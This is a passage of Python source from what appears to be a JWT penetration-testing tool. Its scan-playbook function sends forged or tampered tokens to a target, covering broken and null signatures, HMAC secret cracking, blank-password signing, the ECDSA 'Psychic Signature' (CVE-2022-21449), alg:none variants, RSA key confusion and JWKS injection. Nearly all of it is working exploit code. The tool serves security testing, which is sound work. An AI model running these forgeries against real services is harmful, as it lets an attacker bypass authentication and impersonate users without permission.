()
| 1393 | runActions() |
| 1394 | |
| 1395 | def scanModePlaybook(): |
| 1396 | cprintc("\nLAUNCHING SCAN: JWT Attack Playbook", "magenta") |
| 1397 | origalg = headDict["alg"] |
| 1398 | # No token |
| 1399 | tmpCookies = config['argvals']['cookies'].replace('%', '%%') |
| 1400 | tmpHeader = config['argvals']['header'] |
| 1401 | if config['argvals']['headerloc'] == "cookies": |
| 1402 | config['argvals']['cookies'] = strip_dict_cookies(config['argvals']['cookies'].replace('%', '%%')) |
| 1403 | elif config['argvals']['headerloc'] == "headers": |
| 1404 | config['argvals']['header'] = "" |
| 1405 | config['argvals']['overridesub'] = "true" |
| 1406 | config['argvals']['cookies'] = tmpCookies |
| 1407 | config['argvals']['header'] = tmpHeader |
| 1408 | # Broken sig |
| 1409 | jwtTweak = contents.decode()+"."+sig[:-4] |
| 1410 | jwtOut(jwtTweak, "Broken signature", "This token was sent to check if the signature is being checked") |
| 1411 | # Persistent |
| 1412 | jwtOut(jwt, "Persistence check 1 (should always be valid)", "Original token sent to check if tokens work after invalid submissions") |
| 1413 | # Claim processing order - check reflected output in all claims |
| 1414 | reflectedClaims() |
| 1415 | jwtOut(jwt, "Persistence check 2 (should always be valid)", "Original token sent to check if tokens work after invalid submissions") |
| 1416 | # Weak HMAC secret |
| 1417 | if headDict['alg'][:2] == "HS" or headDict['alg'][:2] == "hs": |
| 1418 | cprintc("Testing "+headDict['alg']+" token against common JWT secrets (jwt-common.txt)", "cyan") |
| 1419 | config['argvals']['keyList'] = "jwt-common.txt" |
| 1420 | crackSig(sig, contents) |
| 1421 | # Exploit: blank password accepted in signature |
| 1422 | key = "" |
| 1423 | newSig, newContents = signTokenHS(headDict, paylDict, key, 256) |
| 1424 | jwtBlankPw = newContents+"."+newSig |
| 1425 | jwtOut(jwtBlankPw, "Exploit: Blank password accepted in signature (-X b)", "This token can exploit a hard-coded blank password in the config") |
| 1426 | # Exploit: Psychic Signature for ECDSA (CVE-2022-21449) |
| 1427 | psySig = checkPsySig(headDict, paylB64) |
| 1428 | jwtOut(psySig, "Exploit: 'Psychic Signature' accepted in ECDSA signing (-X p)", "Testing if the ECDSA signing process can be fooled (CVE-2022-21449)") |
| 1429 | # Exploit: null signature |
| 1430 | jwtNull = checkNullSig(contents) |
| 1431 | jwtOut(jwtNull, "Exploit: Null signature (-X n)", "This token was sent to check if a null signature can bypass checks") |
| 1432 | # Exploit: alg:none |
| 1433 | noneToks = checkAlgNone(headDict, paylB64) |
| 1434 | zippedToks = dict(zip(noneToks, ["\"alg\":\"none\"", "\"alg\":\"None\"", "\"alg\":\"NONE\"", "\"alg\":\"nOnE\""])) |
| 1435 | for noneTok in zippedToks: |
| 1436 | jwtOut(noneTok, "Exploit: "+zippedToks[noneTok]+" (-X a)", "Testing whether the None algorithm is accepted - which allows forging unsigned tokens") |
| 1437 | # Exploit: key confusion - use provided PubKey |
| 1438 | if config['crypto']['pubkey']: |
| 1439 | newTok, newSig = checkPubKeyExploit(headDict, paylB64, config['crypto']['pubkey']) |
| 1440 | jwtOut(newTok+"."+newSig, "Exploit: RSA Key Confusion Exploit (provided Public Key)") |
| 1441 | headDict["alg"] = origalg |
| 1442 | # Exploit: jwks injection |
| 1443 | try: |
| 1444 | origjwk = headDict["jwk"] |
| 1445 | except: |
| 1446 | origjwk = False |
| 1447 | jwksig, jwksContents = jwksEmbed(headDict, paylDict) |
| 1448 | jwtOut(jwksContents+"."+jwksig, "Exploit: Injected JWKS (-X i)") |
| 1449 | headDict["alg"] = origalg |
| 1450 | if origjwk: |
| 1451 | headDict["jwk"] = origjwk |
| 1452 | else: |
no test coverage detected